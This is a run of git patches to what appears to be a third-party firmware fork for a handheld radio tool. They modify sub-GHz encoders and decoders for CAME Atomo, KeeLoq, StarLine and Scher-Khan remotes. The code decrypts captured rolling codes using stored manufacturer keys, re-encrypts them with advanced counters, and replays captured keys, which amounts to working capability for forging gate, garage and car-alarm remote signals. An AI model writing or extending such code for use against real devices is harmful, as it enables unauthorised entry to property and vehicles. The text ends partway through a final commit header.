e80147bf73faca4c009b09ec21e24be0c6dd6520 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 14 Jun 2022 19:25:23 +0300 Subject: [PATCH 317/461] Update came_atomo.c proper cnt_2 work --- lib/subghz/protocols/came_atomo.c | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 48d6ca11f..0600e4622 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -132,6 +132,8 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC manchester_encoder_reset(&enc_state); ManchesterEncoderResult result; + uint8_t pack[8] = {}; + instance->generic.cnt++; //Send header @@ -142,7 +144,6 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC for(uint8_t i = 0; i < 8; i++) { - uint8_t pack[8] = {}; pack[0] = (instance->generic.data_2 >> 56); pack[1] = (instance->generic.cnt >> 8); pack[2] = (instance->generic.cnt & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); @@ -181,6 +182,22 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272); } instance->encoder.size_upload = index; + instance->generic.cnt_2++; + pack[0] = (instance->generic.cnt_2); pack[1] = (instance->generic.cnt >> 8); + pack[2] = (instance->generic.cnt & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); + pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); + pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); + + atomo_encrypt(pack); + uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; + uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; + instance->generic.data = (uint64_t)hi << 32 | lo; + + instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; + instance->generic.data >>= 4; + instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; + hi = instance->generic.data >> 32; + lo = instance->generic.data & 0xFFFFFFFF; } bool subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) { From 522c0275b18a0344db8f57b704e0306c17d90680 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 14 Jun 2022 21:39:42 +0300 Subject: [PATCH 318/461] few improvements Remove unused sub-ghz AU patable, remove Atomo excess code, add seed value show on KeeLoq screen. --- firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h | 10 ---------- lib/subghz/protocols/came_atomo.c | 8 ++------ lib/subghz/protocols/keeloq.c | 4 ++-- 3 files changed, 4 insertions(+), 18 deletions(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h b/firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h index 7940dfd09..b2b5760fd 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h @@ -273,16 +273,6 @@ static const uint8_t furi_hal_subghz_preset_ook_async_patable[8] = { 0x00, 0x00}; -static const uint8_t furi_hal_subghz_preset_ook_async_patable_au[8] = { - 0x00, - 0xC0, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03 - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00}; - static const uint8_t furi_hal_subghz_preset_2fsk_async_patable[8] = { 0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12 0x00, diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 0600e4622..9f5ec0bbd 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -162,9 +162,7 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; instance->generic.data >>= 4; - instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; - hi = instance->generic.data >> 32; - lo = instance->generic.data & 0xFFFFFFFF; + instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { @@ -195,9 +193,7 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; instance->generic.data >>= 4; - instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; - hi = instance->generic.data >> 32; - lo = instance->generic.data & 0xFFFFFFFF; + instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; } bool subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) { diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 680b9ef68..04ff9a110 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -885,7 +885,7 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { "Key:%08lX%08lX\r\n" "Fix:0x%08lX Cnt:%04X\r\n" "Hop:0x%08lX Btn:%01lX\r\n" - "MF:%s Sn:0x%07lX \r\n", + "MF:%s Sd:0x%08lX\r\n", instance->generic.protocol_name, instance->generic.data_count_bit, code_found_hi, @@ -895,5 +895,5 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { code_found_reverse_lo, instance->generic.btn, instance->manufacture_name, - instance->generic.serial); + instance->generic.seed); } From 750f2b6c4832827884bd82d45100e836793b3ce4 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 14 Jun 2022 22:02:39 +0300 Subject: [PATCH 319/461] Update Manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 203eced76..e5306c916 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1655152832 +T:1655232937 D:badusb D:dolphin D:infrared @@ -229,7 +229,7 @@ D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:f93a61a86c0a375dcc4072b3c9dc3bc1:50263:nfc/assets/mf_classic_dict.nfc +F:4ce3728b7c76d6d73a1d41407cb2048b:50387:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes From c2bdcbdd88c7f63bef7ce2164edfaa1edeabfe07 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 15 Jun 2022 15:51:27 +0300 Subject: [PATCH 320/461] update changelog --- CHANGELOG.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 112931fee..2753708a1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,9 @@ ### New Update -* Updated UniRF Remix app +* Updated UniRF Remix app, .txt file support * Fixed macOS Brewfile, so compiling on macOS now works +* Updated CAME Atomo +* Updated mf classic dict +* Seed value now shows on KeeLoq screen #### Previous changes * KeeLoq protocol rework. * Came Atomo emulation beta-test. @@ -20,6 +23,4 @@ * Added UniversalRF Remix app. * Updated Readme. * files for microSD card now included with build, copy them if you installing fw by using .dfu. -* Updated Icons. - -P.S. We are working on fixes of some subghz stuff. \ No newline at end of file +* Updated Icons. \ No newline at end of file From 0a3aabc60d7fe578dac9ced002f96d7b737a98e8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 16 Jun 2022 19:58:34 +0300 Subject: [PATCH 321/461] Fix KeeLoq Uknown behavior, patch StarLine same way --- .../scenes/subghz_scene_receiver_info.c | 4 + .../subghz/scenes/subghz_scene_transmitter.c | 4 + lib/subghz/protocols/keeloq.c | 43 +++++- lib/subghz/protocols/keeloq.h | 2 + lib/subghz/protocols/star_line.c | 140 +++++++++++++++--- lib/subghz/protocols/star_line.h | 4 + 6 files changed, 173 insertions(+), 24 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 19b9b69ef..9ae57f4c8 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -2,6 +2,7 @@ #include "../helpers/subghz_custom_event.h" #include #include +#include void subghz_scene_receiver_info_callback(GuiButtonType result, InputType type, void* context) { furi_assert(context); @@ -193,4 +194,7 @@ void subghz_scene_receiver_info_on_exit(void* context) { SubGhz* subghz = context; widget_reset(subghz->widget); keeloq_reset_mfname(); + keeloq_reset_kl_type(); + star_line_reset_mfname(); + star_line_reset_kl_type(); } diff --git a/applications/subghz/scenes/subghz_scene_transmitter.c b/applications/subghz/scenes/subghz_scene_transmitter.c index 070399672..8020966a2 100644 --- a/applications/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/subghz/scenes/subghz_scene_transmitter.c @@ -2,6 +2,7 @@ #include "../views/transmitter.h" #include #include +#include void subghz_scene_transmitter_callback(SubGhzCustomEvent event, void* context) { furi_assert(context); @@ -111,4 +112,7 @@ void subghz_scene_transmitter_on_exit(void* context) { SubGhz* subghz = context; subghz->state_notifications = SubGhzNotificationStateIDLE; keeloq_reset_mfname(); + keeloq_reset_kl_type(); + star_line_reset_mfname(); + star_line_reset_kl_type(); } diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 04ff9a110..0be5dcc71 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -82,11 +82,16 @@ const SubGhzProtocol subghz_protocol_keeloq = { }; static const char* mfname; +static int kl_type; void keeloq_reset_mfname() { mfname = ""; } +void keeloq_reset_kl_type() { + kl_type = 0; +} + /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance @@ -136,6 +141,11 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc uint64_t code_found_reverse; int res = 0; + if (strcmp(instance->manufacture_name, "Unknown") == 0) { + code_found_reverse = subghz_protocol_blocks_reverse_key( + instance->generic.data, instance->generic.data_count_bit); + hop = code_found_reverse & 0x00000000ffffffff; + } else { for M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) { res = strcmp(string_get_cstr(manufacture_code->name), instance->manufacture_name); @@ -157,20 +167,22 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc break; case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: //Magic XOR type-1 Learning - man = subghz_protocol_keeloq_common_magic_xor_type1_learning( - instance->generic.serial, manufacture_code->key); + man = subghz_protocol_keeloq_common_magic_xor_type1_learning(instance->generic.serial, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; case KEELOQ_LEARNING_UNKNOWN: - //KeeLoq Replay Attack (sends just the captured key) - code_found_reverse = subghz_protocol_blocks_reverse_key( - instance->generic.data, instance->generic.data_count_bit); - hop = code_found_reverse & 0x00000000ffffffff; + if(kl_type == 1) { hop = subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key); } + if(kl_type == 2) { man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } + if(kl_type == 3) { man = subghz_protocol_keeloq_common_secure_learning(fix, instance->generic.seed, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } + if(kl_type == 4) { man = subghz_protocol_keeloq_common_magic_xor_type1_learning(instance->generic.serial, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } break; } break; } - } + } } if(hop) { uint64_t yek = (uint64_t)fix << 32 | hop; instance->generic.data = @@ -385,6 +397,7 @@ void subghz_protocol_decoder_keeloq_reset(void* context) { SubGhzProtocolDecoderKeeloq* instance = context; instance->decoder.parser_step = KeeloqDecoderStepReset; mfname = ""; + kl_type = 0; } void subghz_protocol_decoder_keeloq_feed(void* context, bool level, uint32_t duration) { @@ -572,6 +585,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 1; return 1; } // Check for mirrored man @@ -585,6 +599,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 1; return 1; } //########################### @@ -595,6 +610,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 2; return 1; } @@ -604,6 +620,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 2; return 1; } @@ -614,6 +631,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 3; return 1; } @@ -623,6 +641,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 3; return 1; } @@ -633,6 +652,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 4; return 1; } @@ -642,6 +662,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 4; return 1; } break; @@ -700,6 +721,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 1; return 1; } // Check for mirrored man @@ -713,6 +735,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 1; return 1; } //########################### @@ -723,6 +746,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 2; return 1; } @@ -732,6 +756,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 2; return 1; } @@ -742,6 +767,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 3; return 1; } @@ -751,6 +777,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 3; return 1; } @@ -761,6 +788,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 4; return 1; } @@ -770,6 +798,7 @@ if(strcmp(mfname, "") == 0) { if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); mfname = *manufacture_name; + kl_type = 4; return 1; } break; diff --git a/lib/subghz/protocols/keeloq.h b/lib/subghz/protocols/keeloq.h index 9be299bd8..97c89b504 100644 --- a/lib/subghz/protocols/keeloq.h +++ b/lib/subghz/protocols/keeloq.h @@ -13,6 +13,8 @@ extern const SubGhzProtocol subghz_protocol_keeloq; void keeloq_reset_mfname(); +void keeloq_reset_kl_type(); + /** * Allocate SubGhzProtocolEncoderKeeloq. * @param environment Pointer to a SubGhzEnvironment instance diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index d00fb0384..b72eeb02f 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -80,6 +80,18 @@ const SubGhzProtocol subghz_protocol_star_line = { .encoder = &subghz_protocol_star_line_encoder, }; +static const char* mfname; + +static int kl_type; + +void star_line_reset_mfname() { + mfname = ""; +} + +void star_line_reset_kl_type() { + kl_type = 0; +} + /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance @@ -129,6 +141,11 @@ static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* in uint64_t code_found_reverse; int res = 0; + if (strcmp(instance->manufacture_name, "Unknown") == 0) { + code_found_reverse = subghz_protocol_blocks_reverse_key( + instance->generic.data, instance->generic.data_count_bit); + hop = code_found_reverse & 0x00000000ffffffff; + } else { for M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) { res = strcmp(string_get_cstr(manufacture_code->name), instance->manufacture_name); @@ -139,25 +156,24 @@ static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* in hop = subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key); break; case KEELOQ_LEARNING_NORMAL: - //Simple Learning + //Normal Learning man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; - case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: - man = subghz_protocol_keeloq_common_magic_xor_type1_learning( - instance->generic.serial, manufacture_code->key); - hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); - break; case KEELOQ_LEARNING_UNKNOWN: - code_found_reverse = subghz_protocol_blocks_reverse_key( - instance->generic.data, instance->generic.data_count_bit); - hop = code_found_reverse & 0x00000000ffffffff; + if(kl_type == 1) { hop = subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key); } + if(kl_type == 2) { man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } + if(kl_type == 3) { man = subghz_protocol_keeloq_common_secure_learning(fix, instance->generic.seed, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } + if(kl_type == 4) { man = subghz_protocol_keeloq_common_magic_xor_type1_learning(instance->generic.serial, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } break; } break; } - } + } } if(hop) { uint64_t yek = (uint64_t)fix << 32 | hop; instance->generic.data = @@ -328,6 +344,8 @@ void subghz_protocol_decoder_star_line_reset(void* context) { furi_assert(context); SubGhzProtocolDecoderStarLine* instance = context; instance->decoder.parser_step = StarLineDecoderStepReset; + mfname = ""; + kl_type = 0; } void subghz_protocol_decoder_star_line_feed(void* context, bool level, uint32_t duration) { @@ -453,26 +471,30 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( uint8_t btn = (uint8_t)(fix >> 24); uint32_t decrypt = 0; uint64_t man_normal_learning; + int res = 0; + +if(strcmp(mfname, "") == 0) { for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { switch(manufacture_code->type) { case KEELOQ_LEARNING_SIMPLE: - //Simple Learning + // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } break; case KEELOQ_LEARNING_NORMAL: - // Normal_Learning + // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 - man_normal_learning = - subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; return 1; } break; @@ -481,6 +503,8 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 1; return 1; } // Check for mirrored man @@ -493,27 +517,109 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 1; return 1; } //########################### - // Normal_Learning + // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 - man_normal_learning = - subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 2; return 1; } + // Check for mirrored man man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 2; return 1; } break; } } + } else { + + for + M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { + res = strcmp(string_get_cstr(manufacture_code->name), mfname); + if(res == 0) { + switch(manufacture_code->type) { + case KEELOQ_LEARNING_SIMPLE: + // Simple Learning + decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_NORMAL: + // Normal Learning + // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 + man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); + if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_UNKNOWN: + // Simple Learning + decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 1; + return 1; + } + // Check for mirrored man + uint64_t man_rev = 0; + uint64_t man_rev_byte = 0; + for(uint8_t i = 0; i < 64; i += 8) { + man_rev_byte = (uint8_t)(manufacture_code->key >> i); + man_rev = man_rev | man_rev_byte << (56 - i); + } + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); + if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 1; + return 1; + } + //########################### + // Normal Learning + // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 + man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); + if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 2; + return 1; + } + + // Check for mirrored man + man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); + if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 2; + return 1; + } + break; + } + } + } + } *manufacture_name = "Unknown"; instance->cnt = 0; diff --git a/lib/subghz/protocols/star_line.h b/lib/subghz/protocols/star_line.h index 8930648fe..286cfa7c5 100644 --- a/lib/subghz/protocols/star_line.h +++ b/lib/subghz/protocols/star_line.h @@ -11,6 +11,10 @@ extern const SubGhzProtocolDecoder subghz_protocol_star_line_decoder; extern const SubGhzProtocolEncoder subghz_protocol_star_line_encoder; extern const SubGhzProtocol subghz_protocol_star_line; +void star_line_reset_mfname(); + +void star_line_reset_kl_type(); + /** * Allocate SubGhzProtocolEncoderStarLine. * @param environment Pointer to a SubGhzEnvironment instance From 9f2fdc5a6f7d558a3e6478b39b189de74d72e66d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 16 Jun 2022 20:57:27 +0300 Subject: [PATCH 322/461] Fix protocol Scher-Khan, remove excess star-line code --- lib/subghz/protocols/scher_khan.c | 2 +- lib/subghz/protocols/star_line.c | 4 ---- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/lib/subghz/protocols/scher_khan.c b/lib/subghz/protocols/scher_khan.c index a9a7c040c..233b95646 100644 --- a/lib/subghz/protocols/scher_khan.c +++ b/lib/subghz/protocols/scher_khan.c @@ -233,7 +233,7 @@ static void subghz_protocol_scher_khan_check_remote_controller( // break; default: - instance->protocol_name = "Unknown"; + *protocol_name = "Unknown"; instance->serial = 0; instance->btn = 0; instance->cnt = 0; diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index b72eeb02f..23e1c1bc7 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -165,10 +165,6 @@ static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* in if(kl_type == 1) { hop = subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key); } if(kl_type == 2) { man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } - if(kl_type == 3) { man = subghz_protocol_keeloq_common_secure_learning(fix, instance->generic.seed, manufacture_code->key); - hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } - if(kl_type == 4) { man = subghz_protocol_keeloq_common_magic_xor_type1_learning(instance->generic.serial, manufacture_code->key); - hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } break; } break; From 771fa0f41dd65e2bb48102a215aae9427712f5f8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 16 Jun 2022 21:58:13 +0300 Subject: [PATCH 323/461] Update keeloq.c --- lib/subghz/protocols/keeloq.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 0be5dcc71..cb48fd77b 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -668,6 +668,8 @@ if(strcmp(mfname, "") == 0) { break; } } + } else if (strcmp(mfname, "Unknown") == 0) { + return 1; } else { for @@ -808,6 +810,7 @@ if(strcmp(mfname, "") == 0) { } *manufacture_name = "Unknown"; + mfname = "Unknown"; instance->cnt = 0; return 0; From 24cf48e8e9af4da363d5ed57ab2ec547fd748f0c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 16 Jun 2022 22:12:39 +0300 Subject: [PATCH 324/461] Update star_line.c --- lib/subghz/protocols/star_line.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index 23e1c1bc7..ff3a1910e 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -540,6 +540,8 @@ if(strcmp(mfname, "") == 0) { break; } } + } else if (strcmp(mfname, "Unknown") == 0) { + return 1; } else { for @@ -618,6 +620,7 @@ if(strcmp(mfname, "") == 0) { } *manufacture_name = "Unknown"; + mfname = "Unknown"; instance->cnt = 0; return 0; From b09801e67754f183c2ab21ff446f1e65ddda80a9 Mon Sep 17 00:00:00 